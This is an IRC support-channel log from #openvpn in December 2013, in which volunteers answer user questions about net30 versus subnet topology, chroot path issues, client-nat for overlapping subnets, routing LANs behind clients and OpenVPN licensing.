11:37 -!- master_of_master [~master_of@p4FD7BBE1.dip0.t-ipconnect.de] has joined #openvpn
11:40 < pekster> Well, that's been replaced by future RFCs, but yea
11:41 < rob0> 6890 :)
11:41 < pekster> Yup, "Specical-Purpose Address Registry Entries"
11:41 < wallbroken> pekster, give me that wiki, I have no problem to read :)
11:42 < pekster> You've been given it about 5 times now wallbroken.  Maybe #6 is the time you read it? See here:
11:42 < pekster> !topology
11:42 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) details and examples at: https://community.openvpn.net/openvpn/wiki/Topology
11:42 < wallbroken> oh sorry, I ignored it, thanks
11:43 < pekster> That's very bad form online. We give you resources we think will help, and ignoring them is considered fairly rude. Just learn to read the resources you're given first, _then_ ask questions if you do not understand. But only _after_ reading them (maybe even twice)
11:44 < wallbroken> yes you are right, but sometimes my trend is to ignore automatic bot generated links, that's my fault
11:48 -!- linuxthefish [~linuxthef@185.17.148.101] has quit [Remote host closed the connection]
11:49 -!- master_of_master [~master_of@p4FD7BBE1.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
11:50 -!- master_of_master [~master_of@p4FD7BBE1.dip0.t-ipconnect.de] has joined #openvpn
11:56 -!- kro[au] [~thatguy@209.141.41.57] has quit [Ping timeout: 240 seconds]
11:59 -!- kro[au] [~thatguy@209.141.41.57] has joined #openvpn
12:22 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
12:28 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
12:43 < wallbroken> pekster, i'm sorry, i just tried net30 , client get 10.0.0.6 but server is 10.0.0.1, it should be 10.0.0.5. why it is not?
12:44 < pekster> .5 is a worthless "fake" address because of net30; you "reach" the server by way of the on-link address. This is part of why we do not recommend net30 since it adds an additional level of complexity
12:45 < pekster> The server is actually at 10.0.0.1, and if you want to ping the server from the client you use the address the server is assigned, which is 10.0.0.1 (when you use --server.) Don't think of the server "at" .5 -- .5 is just how you route across the tunnel. And you can ignore _all_ of this by not using net30 ;)
12:51 < wallbroken> yes, maybe yes, this adds a lot of complexity on openvpn
12:52 < wallbroken> why you don't set --topology subnet as a default rule on --server ?
12:52 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Ping timeout: 260 seconds]
12:53 < pekster> That too is explained in the wiki. It's not done for fear of breaking configs that rely on net30 being the implied default
12:53 < pekster> wiki reads: "net30 is effectively "deprecated" but remains the OpenVPN 2.3-series default for fear of breaking backwards-compat configs that rely on this behavior."
12:56 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
13:01 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Ping timeout: 264 seconds]
13:02 < debbie10t> pekster: I now have a setup (only slightly different to the otherday) whereby both windows and ubuntu do NOT throw subnet conflict error ?
13:02 -!- Zap-W [~zxd@109.64.197.23] has quit [Ping timeout: 259 seconds]
13:03 < debbie10t> how would you like to proceed
13:06 < debbie10t> also - if i kill the ubuntu client from the server management, when it tries to reconnect it suddenly cannot find the ca.crt .. it is not dropping privaleges
13:07 < wallbroken> the only last mistake is about this sentence: <rob0> net30 in openvpn 2.0 was BECAUSE of Windows. The Windows bug was worked around in 2.1.
13:07 < wallbroken> which bug?
13:17 -!- halcyon__ [~heraclitu@85.17.31.98] has joined #openvpn
13:18 < pekster> wallbroken: No one cares anymore.
13:18 -!- [oc80z] [~oc80z@74.63.222.147] has joined #openvpn
13:18 -!- wallbroken_u [~wallbroke@unaffiliated/wallbroken] has joined #openvpn
13:18 < pekster> debbie10t: Same way as with any other problem. Configs/logs
13:19 < dvl> Let's do some clientlan...
13:19 -!- Six6siX_ [~Devil@jasmine.sammybakar.com] has joined #openvpn
13:20 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has quit [Ping timeout: 252 seconds]
13:21 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
13:21 < debbie10t> pekster: i have diagnosed that starting openvpn as "sudo openvpn --config client.conf --daemon" does not work the same way as "sudo service openvpn start" on ubuntu 12.04 - started by command line it cannot find the cert files after piing restart but can do when started by service
13:21 -!- Probeus_ [probeus@probeus.no] has joined #openvpn
13:21 < debbie10t> still have the issue with subnet conflict but will paste the full setup asap
13:22 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
13:22 < pekster> 'services' is an ubuntu-ism that #ubuntu can help with
13:22 < dvl> !clientlan
13:22 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
13:22 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
13:22 -!- kossy_ [a@kossy.org] has joined #openvpn
13:26 -!- Netsplit *.net <-> *.split quits: oc80z, Six6siX, sailerboy, Probeus, heraclitus, Eagleman, eliasp, kossy, Fruckiwacki, lbft,  (+1 more, use /NETSPLIT to show all of them)
13:26 -!- Six6siX_ is now known as Six6siX
13:26 -!- [oc80z] is now known as oc80z
13:26 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
13:27 < debbie10t> #ubuntu maybe able to help with the service-sm .. however when started by command line openvpn fails after ping-restart due to not being able to find certificates .. the command is issued from /etc/openvpnfilder
13:27 < debbie10t> *folder
13:27 < debbie10t> so as far as i can tell this is openvpn at fault
13:28 -!- oc80z [~oc80z@74.63.222.147] has quit [Quit: ZNC - http://znc.in]
13:28 <@ecrist> debbie10t: sounds like a chroot issue
13:29 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 248 seconds]
13:29 < debbie10t> hi eric .. am adding cd to config as we speak
13:29 < pekster> !factoids search chroot
13:29 <@vpnHelper> No keys matched that query.
13:29 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
13:29 -!- mode/#openvpn [+v hazardous] by ChanServ
13:30 < pekster> !factoids search --values chroot
13:30 <@vpnHelper> "fbsdjail" is <thei0s> krzie: if you are interested in the solution: I needed to add to hosts rc.conf the creation of tun0 device, create a special devfs ruleset with tun0 unhiden, configure that it is used in the devfs mount point inside chroot in my jail and specify openvpn --dev tun0 parameter and it seems that this is it... so, thank you for assistance and ideas
13:30 -!- ziddey [~ziddey@ool-45701202.dyn.optonline.net] has joined #openvpn
13:30 -!- oc80z [~oc80z@74.63.222.147] has joined #openvpn
13:31 < debbie10t> adding "cd /etc/openvpn" to the config does indeed solve the problem
13:32 < pekster> Sounds like https://community.openvpn.net/openvpn/ticket/330
13:32 <@vpnHelper> Title: #330 (crl-verify and client-config-dir paths are incorrectly checked in 2.3.*) – OpenVPN Community (at community.openvpn.net)
13:32 < debbie10t> telling me to upsticks to #ubuntu was not much help at all
13:32 < pekster> Not posting configs/logs when I asked was no help at all either
13:32 < pekster> ecrist happened to guess at the problem based on the bits and pieces you let out, but that's not really how we do things here
13:33 < pekster> Consult that bug for details on why --cd is a work-around on the issue if you are indeed using --chroot
13:34 < pekster> Further reading on providing good information about problems can be found at this reference: http://catb.org/~esr/faqs/smart-questions.html#beprecise
13:34 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
13:35 < dvl> !route
13:35 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or client
13:36 < dvl> !clientlan
13:36 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
13:36 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
13:36 < wallbroken_u> are you sure that the howto that I am writing agrees with the openvpn license?
13:36 < dvl> ^ broken?
13:36 < dvl> AHHH
13:37 < pekster> wallbroken_u: OpenVPN is GPLv2. All products/services maintained/sold by 'OpenVPN Technologies, Inc' such as Acces Server, Connect, and Private Tunnel are _NOT_ GPLv2 and subject to their own EULA & licensing
13:37 < wallbroken_u> Connect is the software for iOS ?
13:38 < pekster> Connect is available for multiple platforms
13:38 < pekster> And it is the only OpenVPN-protocol-compatible client for iOS, yes
13:38 < pekster> AFAIK it's free to use, subject to its EULA. You'd need to consult the EULA or the company that provides it for details. See also: !connect
13:43 < pekster> !factoids search license
13:43 <@vpnHelper> No keys matched that query.
13:44 < pekster> !factoids search --values license
13:44 <@vpnHelper> No keys matched that query.
13:44 < pekster> !learn license as OpenVPN 2 is a GPLv2 project and can be distributed, modified, and used under the GPLv2 license.
13:44 <@vpnHelper> Joo got it.
13:44 < pekster> !learn license as Note that any commercial products are under their own EULA; these include AS, Connect, and any services provided by "OpenVPN Tech." These are not maintained by the open-source community.
13:44 <@vpnHelper> Joo got it.
13:45 < pekster> !forget license 2
13:45 <@vpnHelper> Joo got it.
13:45 < pekster> !learn license as Note that any commercial products are under their own EULA; these include AS, Connect, and any services provided by 'OpenVPN Technologies, Inc.' These are not maintained by the open-source community.
13:45 <@vpnHelper> Joo got it.
13:55 < wallbroken_u> are you a developer of openvpn community open source?
13:59 < pekster> To some extent. Anyone is free to contribute to open-source software, either by code, documentation, or support (that's how improvements happen)
14:00 < wallbroken_u> oh, and there is not a leader?
14:02 < pekster> If you're really interested in learning how development here works, start with background reading: https://community.openvpn.net/openvpn/wiki/Contributing
14:02 <@vpnHelper> Title: Contributing – OpenVPN Community (at community.openvpn.net)
14:09 < Aelius> Is it possible to have two clients detect when they are under the same physical lan, and in such a scenario NOT go through openvpn server?
14:10 < Aelius> hamachi vpn did this for example- looking at the properties of a client in the same physical lan as you, it would indicate that the vpn IP is just using the local ip connection
14:10 < Aelius> so as to utilize the full speed of the lan and not needlessly go out to the internet only to loop back
14:12 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
14:18 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
14:19 < dvl> I have a working OpenVPN client and server.  I'm trying to get a clientlan solution running.  Failing. It seems like the iroute etc are not having the desired effect.  Is there a conflict between using ifconfig-push and iroute?
14:19 < dvl> http://pastebin.com/Mz9kn0Pa
14:19 < Aelius> looking at the help, it looks like i want to create direct tunnels when available
14:26 < dvl> oh, it seems I can ping the remote LAN from the openvpn server.  How did *that* happen?  o.O
14:28 < dvl> I am overwhelmed.  That connection just worked.   Hmmm.
14:28 < dvl> It must be a trick. ;)
14:30 < pekster> Aelius: Traffic won't go through openvpn unless there's a matching route for it. Assuming you mean when using --redirect-gateway (which you didn't say you're using, but it sounds like you are) your local LAN has a more-specific route match anyway
14:31 < pekster> 192.168.100/24 is more specific than 128/1, for instance
14:33 < Aelius> pekster: but... that doesnt help when you specify an ip, which is.... what you do for everything?
14:33 < Aelius> for example I connect to an rsync daemon by specifying rsync://10.8.0.5/
14:34 < Aelius> Unless there's a way to make statements like those 'vague' so it could match 192.168.1.105
14:34 < pekster> If it's on your LAN, you have a link-local route for that network
14:34 < pekster> I don't understand the problem
14:35 < pekster> Only things you route over the VPN go over the VPN, and only if they match that route as the best available selection. That's true regardless of your use of OpenVPN
14:38 < Aelius> I have several automated tasks that are hardwired to use openvpn. let's say an automated backup via rsync. let's say my openvpn client config connects with 'remote example.com' as the openvpn server. rsync then transfers its data from one client, to the server example.com, then to another client
14:39 -!- smerz [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 272 seconds]
14:39 < Aelius> now let's say both clients are under the same router
14:39 < Aelius> unless I dont understand something
14:40 < Aelius> all data is routed through the server in client to client communications, no?
14:41 < Aelius> so even tough two clients are under the same lan, if both are configured to use openvpn and rsync uses openvpn, the data will travel over the internet to the server
14:41 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
14:43 < Aelius> are you telling me, pekster, that openvpn will just know that two clients are under the same physical lan and using the openvpn IP address will have the clients transfer data without routing said data through the server?
14:45 <@krzee> all traffic between clients (via their vpn ips) will travel through the server
14:45 -!- smerz [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
14:45 < Aelius> that's what I thought
14:45 <@krzee> however if you do DNS right (dnsmasq ftw) you can make them use LAN ip when on same lan and vpn ip when not
14:48 < Aelius> that would have to be clientside right? and it can't just be set up in the client config, can it krzee? My goal is to make this a zeroconfig process for clients, just install the config and certs and nothing else
14:49 < Aelius> and the clients are windows, to further complicate the matter
14:51 -!- smerz [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 246 seconds]
14:52 -!- Denial [Denial@90.203.195.242] has quit [Ping timeout: 252 seconds]
14:53 -!- lowkey [lowkey@hydra-bom.aufbix.org] has joined #openvpn
14:54 < debbie10t> pekster: regarding "subnet conflict" no warning, this is the full paste http://pastebin.com/wKYjm7SF
14:54 < debbie10t> network setup / configs / logs (verb 4)
14:55 < lowkey> Hello, am I seeking best/optimized openvpn settings when it comes to MTU etc .. I'm doing bridge full L2 VPN .. via openvpn (UDP), but still facing some problems that looks like MTU issues
14:55 -!- Denial [Denial@90.214.33.207] has joined #openvpn
14:55 < lowkey> can someone give me some hints ..
15:00 < pekster> debbie10t: Is there a mistake on that? You can't have 2 systems with the same IP in a single routing domain without problems; you've listed two systems with 10.2.101/24; the duplicate network detection _ONLY_ detects conflicts between the VPN network and the _local_ LAN
15:01 < lowkey> anyone?
15:01 < pekster> Obvious solution: don't use duplicate downstream networks if you intend on routing them together; that's pretty basic networking right there. If you "need" to route them, either change the numbering or use some form of NAT (NAT overload or some ugly 1:1 NAT hacks)
15:02 < debbie10t> yes - i know how to fix the problem - this is a deliberate setupo to work out how to use snat/dnat
15:02 < debbie10t> the fact is the logs do not throw a subnet conflict error
15:02 < pekster> So the lack of a conflict warning is expected behavior
15:02 < pekster> Yes, becuase 10.38.111/24 is not in conflict
15:02 < pekster> You're not using that on any LANs
15:02 < debbie10t> i see
15:03 < debbie10t> i was under the impression that separate LANs could be detected by the server
15:03 < debbie10t> so if server and client LAN were the ssame it would throw the error
15:04 < debbie10t> which btw it was doing yesterday but i removed the CCD directives for this test
15:04 < debbie10t> and now no error
15:04 < debbie10t> i can put back the CCD stuff and see if the error still exists
15:06 < pekster> ccd is probably caught by the server since there is a conflict within 1 system (openvpn might be smart enough to see that the VPN range by --route and/or --iroute is also in use on the local LAN)
15:07 < pekster> Basically, don't rely on that to tell you you've screwed up routing. If you do have duplicate networks, you'll need some form of nat (however you choose to do it)
15:07 < pekster> Plus IPv6 solves this all anyway
15:08 -!- quenode_ [~IceChat9@cable-178-148-237-149.dynamic.sbb.rs] has quit [Quit: Man who run behind car get exhausted]
15:08 < debbie10t> ok - i am trying to work out how to use s/d nat when a conflict occurs (just so i can help on the forum) IP6 is beyond my scope at this time but i accept your premise
15:15 -!- szr [~s_r@unaffiliated/szr] has quit [Quit: Client Exiting]
15:16 < pekster> The thing to do is really insist that people re-number. Assumming randomly selected /24's from 10/8, there's a 1 in ~65k chance of a collision, so there's no good reason for this to happen
15:16 < pekster> !randomsubnet
15:16 <@vpnHelper> "randomsubnet" is (#1) http://scarydevilmonastery.net/subnet.cgi for a random !1918 subnet or (#2) If your shell has $RANDOM support, perhaps try this: `echo 10.$((RANDOM%256)).$((RANDOM%256)).0/24 `
15:17 < pekster> But by all means, play around for your benefit of knowledge
15:17 < debbie10t> Agreed but I really want to learn this s/dnat stuff aswell .. any tips for that
15:18 < debbie10t> i have been rreading all about iproute2 but i don't think the openvpn implemenation is quite the same
15:20 < debbie10t> is there more than the manual has for it .. because the manual entry is very sparce
15:21 < pekster> By iproute2 it sounds like you're using Linux; you can use the 'NETMAP' target in the nat table to 1:1 NAT mapping (see iptables-extensions(8) ) or use the client-side `--client-nat` openvpn option to expose the duplicate network as another range (only from the client side)
15:23 < pekster> As I read it, you need to push that to your client so the server understands the mapping as well, but I haven't played around with it (I avoid network conflicts in the first place)
15:26 < debbie10t> Agreed .. avoid n/w conflicts = but as s/dnat is now in openvpn i really want to work out how to use it .. i understand the basic idea of nat and i think i understand how openvpn uses it (internally) to "as you say" another range .. effectively making a conflicting client (like my 10.2.101.0/24) appear as say 192.168.19.0/24 instead (i think)
15:26 < debbie10t> on the client
15:26 < debbie10t> but I have not been able to extract its usage from the manual .. as yet
15:29 < debbie10t> The way I presume (atm) that it works is like so:
15:29 < debbie10t> there are four directives required in the server config
15:29 < debbie10t> 1.  server snat to client
15:29 < debbie10t> 2.  server dnat from client
15:29 < debbie10t> 3.  push client snat to server
15:30 < debbie10t> 4  push client dnat from server
15:30 < debbie10t> probably got that wrong tho
15:31 < debbie10t> so the server thinks the client is on 192.168.19.0/24 not 10.2.101.0/24 (my config)
15:31 < debbie10t> and the client thinks the server is on 192.168.20.0/24 not 10.2.101.0/24 (myconfig)
15:32 < debbie10t> something like that
15:33 < debbie10t> to be honest - a simple working example would be more than sufficient and very welcome
15:35 < debbie10t> please .....
15:35 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
15:36 < pekster> And I haven't done this, nor do I see the benefit in doing your work for you
15:36 < pekster> Mabye start by taking 2 minutes to search the web first: https://lmddgtfy.net/?q=openvpn%20%22client-nat%22%20example
15:36 <@vpnHelper> Title: Let Me DuckDuckGo That For You (at lmddgtfy.net)
15:37 < pekster> 2nd link contains examples. I really can't imagine these search terms are so complex
15:37 < pekster> I have zero interest in setting up a lab to figure this out as I think it's a very silly thing to want
15:42 < debbie10t> ha ! ¦-]  that has explained even more than you realise ... once again .. i do not have the problem but others may .. and as openvpn have decided to include it i want to understand it .. but cheers pekster :)
15:43 < pekster> Next time STFW first
15:43 < pekster> The 'smart questions' document covers this too: http://catb.org/~esr/faqs/smart-questions.html#rtfm
15:43 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
15:44 < pekster> I still have basically no idea how this works, but the fact that I found that in under 2 minutes might tell you a smarter way to solve these kinds of problems in the future. "Work smarter, not harder" and all that
15:45 < debbie10t> I will consider it an xmas prezzie and not bother you for such in future
15:48 < pekster> Grovelling isn't required either; use this as a rough guide when asking the online community: http://catb.org/~esr/faqs/smart-questions.html#before
15:48 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
15:50 < pekster> Better yet, if you figure this out and want to share it, write a wiki article so it can be used as a reference by future people
15:52 < debbie10t> that was my intention
15:52 < debbie10t> was/is
15:54 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
15:54 -!- ziddey [~ziddey@ool-45701202.dyn.optonline.net] has quit [Ping timeout: 272 seconds]
15:54 < debbie10t> i was getting it wrong as the command line syntax and further documentation do not match up
15:54 < debbie10t> --client-nat snat|dnat network netmask alias
15:55 < debbie10t> followed by either
15:55 < debbie10t> network/netmask (for example 192.168.0.0/255.255.0.0)
15:55 < debbie10t> or
15:55 < debbie10t> alias/netmask (for example 10.64.0.0/255.255.0.0)
15:56 < debbie10t> there is a mismatch of parameters number 3 to 2
15:57 < debbie10t> i will work it out
15:57 < debbie10t> but thanks for the help
16:03 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 240 seconds]
16:16 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
16:17 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
16:23 -!- Fruckiwacki [fruckiwack@5.135.190.66] has joined #openvpn
16:43 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:56 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
17:12 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
17:19 -!- ziddey [~ziddey@ool-45701202.dyn.optonline.net] has joined #openvpn
17:39 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Ping timeout: 246 seconds]
18:03 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
18:58 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
19:00 -!- Zap-W [~zxd@bzq-109-64-197-23.red.bezeqint.net] has joined #openvpn
19:02 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
19:02 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Remote host closed the connection]
19:03 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
19:05 -!- Zap-W [~zxd@bzq-109-64-197-23.red.bezeqint.net] has quit [Ping timeout: 272 seconds]
19:05 -!- ziddey [~ziddey@ool-45701202.dyn.optonline.net] has quit [Ping timeout: 272 seconds]
19:07 -!- ziddey [~ziddey@ool-45701202.dyn.optonline.net] has joined #openvpn
19:13 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 260 seconds]
19:15 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
19:33 -!- kossy_ is now known as kossy
19:43 -!- Carbon_Monoxide [~cmonxide@14.0.143.127] has joined #openvpn
19:50 -!- brian__ [~brian@pool-72-86-34-19.clppva.fios.verizon.net] has quit [Ping timeout: 260 seconds]
20:11 -!- Carbon_Monoxide [~cmonxide@14.0.143.127] has left #openvpn ["Leaving"]
20:24 -!- brian_ [~brian@pool-72-86-34-19.clppva.fios.verizon.net] has joined #openvpn
20:34 -!- jblack [~jblack@ip-64-134-228-221.public.wayport.net] has joined #openvpn
20:58 -!- debbie10t [~ma1com10t@host-92-20-50-44.as13285.net] has left #openvpn []
21:21 < dvl> !clientlan
21:21 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
21:21 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
21:21 < dvl> !iroute
21:21 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
21:27 < dvl> it works: http://dan.langille.org/2013/12/23/accessing-freebsd-jails-over-openvpn/
21:28 -!- jblack [~jblack@ip-64-134-228-221.public.wayport.net] has quit [Ping timeout: 260 seconds]
22:11 -!- ziddey [~ziddey@ool-45701202.dyn.optonline.net] has left #openvpn ["Leaving"]
22:47 -!- Devastator [~devas@177.99.155.25] has joined #openvpn
22:50 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 272 seconds]
23:17 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 246 seconds]
23:23 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
23:32 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 246 seconds]
23:32 -!- Devastator [~devas@177.99.155.25] has quit [Changing host]
23:32 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
23:38 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
23:48 -!- jblack [~jblack@c-50-135-120-40.hsd1.wa.comcast.net] has joined #openvpn
--- Day changed Tue Dec 24 2013
00:04 -!- halcyon__ [~heraclitu@85.17.31.98] has quit [Remote host closed the connection]
00:05 -!- halcyon__ [~heraclitu@85.17.31.98] has joined #openvpn
00:17 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:25 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
00:35 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:37 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
00:43 -!- halcyon__ is now known as heraclitus
00:43 -!- heraclitus [~heraclitu@85.17.31.98] has quit [Changing host]
00:43 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
01:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
01:17 < wallbroken_u> is there some directive to set the private key passphrase directly into configuration file?
01:24 -!- Mike-- [mad@mx.probie.nl] has quit [Read error: Connection reset by peer]
01:25 -!- Mike-- [mad@mx.probie.nl] has joined #openvpn
01:42 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
01:47 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
01:48 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:49 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
01:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:17 -!- batrick [batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.2]
02:19 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
02:20 -!- Zap-W [~zxd@109.64.197.23] has joined #openvpn
02:53 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 240 seconds]
02:55 -!- jblack [~jblack@c-50-135-120-40.hsd1.wa.comcast.net] has quit [Ping timeout: 260 seconds]
03:15 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
03:19 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
03:22 -!- Zap-W_ [~zxd@109.66.173.117] has joined #openvpn
03:22 -!- Zap-W [~zxd@109.64.197.23] has quit [Ping timeout: 240 seconds]
03:27 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
03:28 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
03:44 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:55 -!- Zap-W [~zxd@bzq-79-176-105-252.red.bezeqint.net] has joined #openvpn
03:55 -!- Zap-W_ [~zxd@109.66.173.117] has quit [Ping timeout: 246 seconds]
03:57 -!- Denial [Denial@90.214.33.207] has quit [Ping timeout: 264 seconds]
04:01 -!- Zap-W_ [~zxd@109.64.100.125] has joined #openvpn
04:02 -!- Zap-W [~zxd@bzq-79-176-105-252.red.bezeqint.net] has quit [Ping timeout: 272 seconds]
04:06 -!- Denial [Denial@176.250.215.79] has joined #openvpn
04:08 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
04:10 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:10 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
04:14 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
04:22 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
04:27 -!- Zap-W_ [~zxd@109.64.100.125] has quit [Ping timeout: 264 seconds]
04:45 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
04:45 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
05:46 -!- Zap-W [~zxd@bzq-109-64-100-125.red.bezeqint.net] has joined #openvpn
06:02 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
06:05 -!- Devastator [~devas@177.99.155.25] has joined #openvpn
06:15 -!- cpm [~Chip@216.169.175.102] has joined #openvpn
06:15 -!- cpm [~Chip@216.169.175.102] has quit [Changing host]
06:15 -!- cpm [~Chip@pdpc/supporter/active/cpm] has joined #openvpn
06:18 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Quit: Byebye]
06:19 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
06:19 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
06:20 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
06:20 < pagios> hello i have a routing question, i got 2 clients connectes as vpn clients to my openvpn server, first client got assigned 10.8.0.6 and the second 10.8.0.10, they can both communicate with the openvpn server on 10.8.0.1 but they cannot communicate with each others,  on first client i added a static route being:  route add -net 10.8.0.0 netmask 255.255.255.0 gw 10.8.0.5 and on the second  sudo route add -net 10.8.0.0 netmask 255.2
06:20 < pagios> 55.255.0 gw 10.8.0.9 where .5 .and .9 are the remote ips they have been assigned on the second end of the client side
06:24 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Client Quit]
